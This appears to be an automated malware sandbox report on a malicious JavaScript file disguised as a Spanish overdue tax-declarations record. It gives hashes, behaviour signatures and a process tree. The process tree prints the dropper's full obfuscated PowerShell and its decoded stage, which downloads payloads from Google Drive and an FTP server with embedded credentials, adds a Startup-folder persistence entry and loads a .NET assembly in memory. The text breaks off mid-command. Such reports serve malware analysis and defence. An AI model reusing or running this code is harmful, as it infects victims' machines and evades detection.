Overview

overview

10

Static

static

1

06122024_1...023.js

windows7-x64

10

06122024_1...023.js

windows10-2004-x64

10

Analysis

  • max time kernel
    118s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    06-12-2024 15:59

Sharing

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Report Analysis Logs

General

  • Target

    06122024_1551_04122024_Historial-Declcaraciones-vencidas-2022-2023.js

  • Size

    195KB

  • MD5

    6675b77a4e527883e0cd36a107269299

  • SHA1

    48b54aab7672ff52328632c110c7b14207f91832

  • SHA256

    cb8afa9d1cab7e87066a992f5954e223720e39064d6d9f425a5e85a13e6a9b3a

  • SHA512

    b4182d413aa3b8133c72a61a3b2136f6a61a4ce0a6f054d40329a00c897140003046ec34fce3dea5de6c88a491b3a920744cb48fb69b6c4f0c70f5bbc6f79046

  • SSDEEP

    3072:lW1tKbWXt+NWXt+NWXt+NWXt+NWXt+NWXt+CWXt+NWXt+NWXt+NWXt+NWXt+NWXC:G

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\06122024_1551_04122024_Historial-Declcaraciones-vencidas-2022-2023.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $nKvfY = 'JA' + [char]66 + 'jAEkATw' + [char]66 + 'lAEMAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAYw' + [char]66 + 'JAE8AZQ' + [char]66 + 'DACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'xAHYAag' + [char]66 + 'qAGYAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAWA' + [char]66 + '1AG0AZg' + [char]66 + 'pACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAWA' + [char]66 + '1AG0AZg' + [char]66 + 'pACAAKQAgAHsAJA' + [char]66 + 'xAHYAag' + [char]66 + 'qAGYAIAA9ACAAKAAkAHEAdg' + [char]66 + 'qAGoAZgAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAHEAdg' + [char]66 + 'qAGoAZgAgAD0AIAAoACQAcQ' + [char]66 + '2AGoAag' + [char]66 + 'mACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + '4AHgAdw' + [char]66 + '0AGwAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + '4AHgAdw' + [char]66 + '0AGwALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + '4AHgAdw' + [char]66 + '0AGwALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAcQ' + [char]66 + '2AGoAag' + [char]66 + 'mACwAIAAoACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACkAIAApACAAOwAkAFUAdw' + [char]66 + 'mAHcAWgAgAD0AIAAoACAAJw' + [char]66 + 'DADoAXA' + [char]66 + 'VAHMAZQ' + [char]66 + 'yAHMAXAAnACAAKwAgAFsARQ' + [char]66 + 'uAHYAaQ' + [char]66 + 'yAG8Abg' + [char]66 + 'tAGUAbg' + [char]66 + '0AF0AOgA6AFUAcw' + [char]66 + 'lAHIATg' + [char]66 + 'hAG0AZQAgACkAOw' + [char]66 + 'KAEMAQw' + [char]66 + 'HAFgAIAA9ACAAKAAgACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACAAKQAgADsAIA' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '3AHUAcw' + [char]66 + 'hAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + 'KAEMAQw' + [char]66 + 'HAFgAIAAvAHEAdQ' + [char]66 + 'pAGUAdAAgAC8Abg' + [char]66 + 'vAHIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQAIAA7ACAAQw' + [char]66 + 'vAHAAeQAtAEkAdA' + [char]66 + 'lAG0AIAAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAgAC0ARA' + [char]66 + 'lAHMAdA' + [char]66 + 'pAG4AYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uACAAKAAgACQAVQ' + [char]66 + '3AGYAdw' + [char]66 + 'aACAAKwAgACcAXA' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAGEAdA' + [char]66 + 'hAFwAUg' + [char]66 + 'vAGEAbQ' + [char]66 + 'pAG4AZw' + [char]66 + 'cAE0AaQ' + [char]66 + 'jAHIAbw' + [char]66 + 'zAG8AZg' + [char]66 + '0AFwAVw' + [char]66 + 'pAG4AZA' + [char]66 + 'vAHcAcw' + [char]66 + 'cAFMAdA' + [char]66 + 'hAHIAdAAgAE0AZQ' + [char]66 + 'uAHUAXA' + [char]66 + 'QAHIAbw' + [char]66 + 'nAHIAYQ' + [char]66 + 'tAHMAXA' + [char]66 + 'TAHQAYQ' + [char]66 + 'yAHQAdQ' + [char]66 + 'wACcAIAApACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwALg' + [char]66 + 'lAHgAZQAgAC0AYw' + [char]66 + 'vAG0AbQ' + [char]66 + 'hAG4AZAAgACcAcw' + [char]66 + 'sAGUAZQ' + [char]66 + 'wACAAMQA4ADAAJwA7ACAAcw' + [char]66 + 'oAHUAdA' + [char]66 + 'kAG8Adw' + [char]66 + 'uAC4AZQ' + [char]66 + '4AGUAIAAvAHIAIAAvAHQAIAAwACAALw' + [char]66 + 'mACAAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAew' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAEMAZQ' + [char]66 + 'yAHQAaQ' + [char]66 + 'mAGkAYw' + [char]66 + 'hAHQAZQ' + [char]66 + 'WAGEAbA' + [char]66 + 'pAGQAYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAEMAYQ' + [char]66 + 'sAGwAYg' + [char]66 + 'hAGMAawAgAD0AIA' + [char]66 + '7ACQAdA' + [char]66 + 'yAHUAZQ' + [char]66 + '9ACAAOw' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'jAHUAcg' + [char]66 + 'pAHQAeQ' + [char]66 + 'QAHIAbw' + [char]66 + '0AG8AYw' + [char]66 + 'vAGwAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AUw' + [char]66 + 'lAGMAdQ' + [char]66 + 'yAGkAdA' + [char]66 + '5AFAAcg' + [char]66 + 'vAHQAbw' + [char]66 + 'jAG8AbA' + [char]66 + 'UAHkAcA' + [char]66 + 'lAF0AOgA6AFQAbA' + [char]66 + 'zADEAMgAgADsAaQ' + [char]66 + 'mACgAKA' + [char]66 + 'nAGUAdAAtAHAAcg' + [char]66 + 'vAGMAZQ' + [char]66 + 'zAHMAIAAnAFcAaQ' + [char]66 + 'yAGUAcw' + [char]66 + 'oAGEAcg' + [char]66 + 'rACcALAAnAGEAcA' + [char]66 + 'hAHQAZQ' + [char]66 + 'EAE4AUwAnACwAJw' + [char]66 + 'hAG4AYQ' + [char]66 + 'sAHkAeg' + [char]66 + 'lACcAIAAtAGUAYQAgAFMAaQ' + [char]66 + 'sAGUAbg' + [char]66 + '0AGwAeQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGkAbg' + [char]66 + '1AGUAKQAgAC0AZQ' + [char]66 + 'xACAAJA' + [char]66 + 'OAHUAbA' + [char]66 + 'sACkAewAgAA0ACgAgACAAIAAgACAAIAAgAA0ACg' + [char]66 + '9AA0ACgANAAoAZQ' + [char]66 + 'sAHMAZQ' + [char]66 + '7ACAADQAKAFIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQALQ' + [char]66 + 'DAG8AbQ' + [char]66 + 'wAHUAdA' + [char]66 + 'lAHIAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsADQAKACAAIAAgACAAIAAgAGUAeA' + [char]66 + 'pAHQAIAA7AA0ACgAgAH0AIAA7ACQAcQ' + [char]66 + 'iAHMAcQ' + [char]66 + 'zACAAPQAgACgAJw' + [char]66 + 'mAHQAcAA6AC8ALw' + [char]66 + 'kAGUAcw' + [char]66 + 'jAGsAdg' + [char]66 + 'iAHIAYQ' + [char]66 + '0ADEAQA' + [char]66 + 'mAHQAcAAuAGQAZQ' + [char]66 + 'zAGMAaw' + [char]66 + '2AGIAcg' + [char]66 + 'hAHQALg' + [char]66 + 'jAG8AbQAuAGIAcgAvAFUAcA' + [char]66 + 'jAHIAeQ' + [char]66 + 'wAHQAZQ' + [char]66 + 'yACcAIAArACAAJwAvADAAMgAvAEQATA' + [char]66 + 'MADAAMQAuAHQAeA' + [char]66 + '0ACcAIAApADsAJA' + [char]66 + 'KAHUAaw' + [char]66 + 'wAFYAIAA9ACAAKAAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'JAE8ALg' + [char]66 + 'QAGEAdA' + [char]66 + 'oAF0AOgA6AEcAZQ' + [char]66 + '0AFQAZQ' + [char]66 + 'tAHAAUA' + [char]66 + 'hAHQAaAAoACkAIAArACAAJw' + [char]66 + 'kAGwAbAAwADEALg' + [char]66 + '0AHgAdAAnACkAOwAkAEwAUQ' + [char]66 + 'RAEEAQgAgAD0AIAAoAC0Aag' + [char]66 + 'vAGkAbgAgAFsAYw' + [char]66 + 'oAGEAcg' + [char]66 + 'bAF0AXQAoADEAMAAwACwAMQAwADEALAAxADEANQAsADkAOQAsADEAMAA3ACwAMQAxADgALAA5ADgALAAxADEANAAsADkANwAsADEAMQA2ACwANAA5ACkAKQAgADsAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAIAA9ACAAKAAtAGoAbw' + [char]66 + 'pAG4AIA' + [char]66 + 'bAGMAaA' + [char]66 + 'hAHIAWw' + [char]66 + 'dAF0AKAAxADAAMgAsACAAOAA5ACwAIAAxADEANwAsACAAMQAwADAALAAgADgAOQAsACAANAA5ACwAIAA1ADMALAAgADUANQAsACAANQA2ACwAIAA2ADQALAAgADYANAAsACAANgA0ACwAIAA2ADQALAAgADYANAAsACAANgA0ACAAKQApACAAOwAkAHcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAPQAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AVw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQAIAA7ACQAdw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQALg' + [char]66 + 'DAHIAZQ' + [char]66 + 'kAGUAbg' + [char]66 + '0AGkAYQ' + [char]66 + 'sAHMAIAA9ACAAbg' + [char]66 + 'lAHcALQ' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'OAGUAdA' + [char]66 + '3AG8Acg' + [char]66 + 'rAEMAcg' + [char]66 + 'lAGQAZQ' + [char]66 + 'uAHQAaQ' + [char]66 + 'hAGwAKAAkAEwAUQ' + [char]66 + 'RAEEAQgAsACAAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAKQAgADsAJA' + [char]66 + 'SAFYAVQ' + [char]66 + 'YAHYAIAA9ACAAJA' + [char]66 + '3AGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'xAGIAcw' + [char]66 + 'xAHMAIAApACAAOwAkAFIAVg' + [char]66 + 'VAFgAdgAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQASg' + [char]66 + '1AGsAcA' + [char]66 + 'WACAALQ' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAAnAFUAVA' + [char]66 + 'GADgAJwAgAC0AZg' + [char]66 + 'vAHIAYw' + [char]66 + 'lACAAOwAkAFMAVA' + [char]66 + 'mAEcAbAAgAD0AIAAoACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQAgACsAIAAnAGQAbA' + [char]66 + 'sADAAMgAuAHQAeA' + [char]66 + '0ACcAKQAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4AIAA9ACAATg' + [char]66 + 'lAHcALQ' + [char]66 + 'PAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'XAGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4ALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAAgAD0AIAAoACAARw' + [char]66 + 'lAHQALQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGUAbg' + [char]66 + '0ACAALQ' + [char]66 + 'QAGEAdA' + [char]66 + 'oACAAJA' + [char]66 + 'KAHUAaw' + [char]66 + 'wAFYAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAD0AIAAkAFAAaA' + [char]66 + 'yAGwATgAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7ACQAYQ' + [char]66 + 'lAEQAdw' + [char]66 + 'VACAAPQAgACcAJA' + [char]66 + 'yAHkAYQ' + [char]66 + 'lAEcAIAA9ACAAKA' + [char]66 + 'HAGUAdAAtAEMAbw' + [char]66 + 'uAHQAZQ' + [char]66 + 'uAHQAIAAtAFAAYQ' + [char]66 + '0AGgAIAAnACAAKwAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAAKwAgACcAIAAtAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZwAgAFUAVA' + [char]66 + 'GADgAKQA7ACcAIAA7ACQAYQ' + [char]66 + 'lAEQAdw' + [char]66 + 'VACAAKwA9ACAAJw' + [char]66 + 'bAEIAeQ' + [char]66 + '0AGUAWw' + [char]66 + 'dAF0AIAAkAEYAeQ' + [char]66 + 'mAGQAegAgAD0AIA' + [char]66 + 'bAHMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AQw' + [char]66 + 'vAG4Adg' + [char]66 + 'lAHIAdA' + [char]66 + 'dADoAOg' + [char]66 + 'GAHIAbw' + [char]66 + 'tAEIAYQ' + [char]66 + 'zAGUANgA0AFMAdA' + [char]66 + 'yAGkAbg' + [char]66 + 'nACgAIAAkAHIAeQ' + [char]66 + 'hAGUARwAuAHIAZQ' + [char]66 + 'wAGwAYQ' + [char]66 + 'jAGUAKAAnACcAkyE6AJMhJwAnACwAJwAnAEEAJwAnACkAIAApACAAOwAnACAAOwAkAGEAZQ' + [char]66 + 'EAHcAVQAgACsAPQAgACcAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEEAcA' + [char]66 + 'wAEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAF0AOgAnACAAKwAgACcAOg' + [char]66 + 'DAHUAcg' + [char]66 + 'yAGUAbg' + [char]66 + '0AEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAC4ATA' + [char]66 + 'vAGEAZAAoACAAJA' + [char]66 + 'GAHkAZg' + [char]66 + 'kAHoAIAApAC4AJwAgADsAJA' + [char]66 + 'hAGUARA' + [char]66 + '3AFUAIAArAD0AIAAnAEcAZQ' + [char]66 + '0AFQAeQ' + [char]66 + 'wAGUAKAAgACcAJw' + [char]66 + 'DAGwAYQ' + [char]66 + 'zAHMATA' + [char]66 + 'pAGIAcg' + [char]66 + 'hAHIAeQAzAC4AQw' + [char]66 + 'sAGEAcw' + [char]66 + 'zADEAJwAnACAAKQAuAEcAZQ' + [char]66 + '0AE0AJwAgADsAJA' + [char]66 + 'hAGUARA' + [char]66 + '3AFUAIAArAD0AIAAnAGUAdA' + [char]66 + 'oAG8AZAAoACAAJwAnAHAAcg' + [char]66 + 'GAFYASQAnACcAIAApAC4ASQ' + [char]66 + 'uAHYAbw' + [char]66 + 'rAGUAKAAgACQAbg' + [char]66 + '1AGwAbAAgACwAIA' + [char]66 + 'bAG8AYg' + [char]66 + 'qAGUAYw' + [char]66 + '0AFsAXQ' + [char]66 + 'dACAAKAAgACcAJw' + [char]66 + 'lADIANgAyADIAZQ' + [char]66 + 'iADkANAA5ADUAOQAtADgANAA4AGIALQ' + [char]66 + 'lADUAYwA0AC0AMAA0AGQAYwAtAGUANwAyAGUANAAyADkAZAA9AG4AZQ' + [char]66 + 'rAG8AdAAmAGEAaQ' + [char]66 + 'kAGUAbQA9AHQAbA' + [char]66 + 'hAD8AdA' + [char]66 + '4AHQALg' + [char]66 + 'sAG8AZw' + [char]66 + '1AGgALw' + [char]66 + 'vAC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AG8AcA' + [char]66 + 'zAHAAcA' + [char]66 + 'hAC4AOA' + [char]66 + 'lADcAZQA4AC0Acw' + [char]66 + 'vAGkAcg' + [char]66 + 'hAG4Abw' + [char]66 + 'sAGwAbw' + [char]66 + 'tAC8AYgAvADAAdgAvAG0Abw' + [char]66 + 'jAC4Acw' + [char]66 + 'pAHAAYQ' + [char]66 + 'lAGwAZw' + [char]66 + 'vAG8AZwAuAGUAZw' + [char]66 + 'hAHIAbw' + [char]66 + '0AHMAZQ' + [char]66 + 'zAGEAYg' + [char]66 + 'lAHIAaQ' + [char]66 + 'mAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACcAIAAsACAAJwAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAnACAALAAgACAAJwAnAEQAIA' + [char]66 + 'EAEQASQ' + [char]66 + 'uAHMAdA' + [char]66 + 'hAGwAbA' + [char]66 + 'VAHQAaQ' + [char]66 + 'sACcAJwAgACAAKQAgACkAOwAnADsAJA' + [char]66 + 'WAEIAVw' + [char]66 + 'XAHoAIAA9ACAAKAAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'JAE8ALg' + [char]66 + 'QAGEAdA' + [char]66 + 'oAF0AOgA6AEcAZQ' + [char]66 + '0AFQAZQ' + [char]66 + 'tAHAAUA' + [char]66 + 'hAHQAaAAoACkAIAArACAAJw' + [char]66 + 'kAGwAbAAwADMALg' + [char]66 + 'wAHMAMQAnACkAIAA7ACQAYQ' + [char]66 + 'lAEQAdw' + [char]66 + 'VACAAfAAgAE8AdQ' + [char]66 + '0AC0ARg' + [char]66 + 'pAGwAZQAgAC0ARg' + [char]66 + 'pAGwAZQ' + [char]66 + 'QAGEAdA' + [char]66 + 'oACAAJA' + [char]66 + 'WAEIAVw' + [char]66 + 'XAHoAIAAgAC0AZg' + [char]66 + 'vAHIAYw' + [char]66 + 'lACAAOw' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sACAALQ' + [char]66 + 'FAHgAZQ' + [char]66 + 'jAHUAdA' + [char]66 + 'pAG8Abg' + [char]66 + 'QAG8AbA' + [char]66 + 'pAGMAeQAgAEIAeQ' + [char]66 + 'wAGEAcw' + [char]66 + 'zACAALQ' + [char]66 + 'GAGkAbA' + [char]66 + 'lACAAJA' + [char]66 + 'WAEIAVw' + [char]66 + 'XAHoAIAA7AH0AOwA=';$nKvfY = $nKvfY.replace('革','B') ;$nKvfY = [System.Convert]::FromBase64String( $nKvfY ) ;;;$nKvfY = [System.Text.Encoding]::Unicode.GetString( $nKvfY ) ;$nKvfY = $nKvfY.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\06122024_1551_04122024_Historial-Declcaraciones-vencidas-2022-2023.js') ;powershell $nKvfY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2440
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$cIOeC = $host.Version.Major.Equals(2);If ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$qvjjf = 'https://drive.google.com/uc?export=download&id=';$Xumfi = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $Xumfi ) {$qvjjf = ($qvjjf + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qvjjf = ($qvjjf + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$xxwtl = ( New-Object Net.WebClient ) ;$xxwtl.Encoding = [System.Text.Encoding]::UTF8 ;$xxwtl.DownloadFile($qvjjf, ($HzOMj + '\Upwin.msu') ) ;$UwfwZ = ( 'C:\Users\' + [Environment]::UserName );JCCGX = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\06122024_1551_04122024_Historial-Declcaraciones-vencidas-2022-2023.js' -Destination ( $UwfwZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$qbsqs = ('ftp://[email protected]/Upcrypter' + '/02/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$LQQAB = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($LQQAB, $lllGq) ;$RVUXv = $webClient.DownloadString( $qbsqs ) ;$RVUXv | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$aeDwU = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$aeDwU += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$aeDwU += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$aeDwU += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$aeDwU += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( 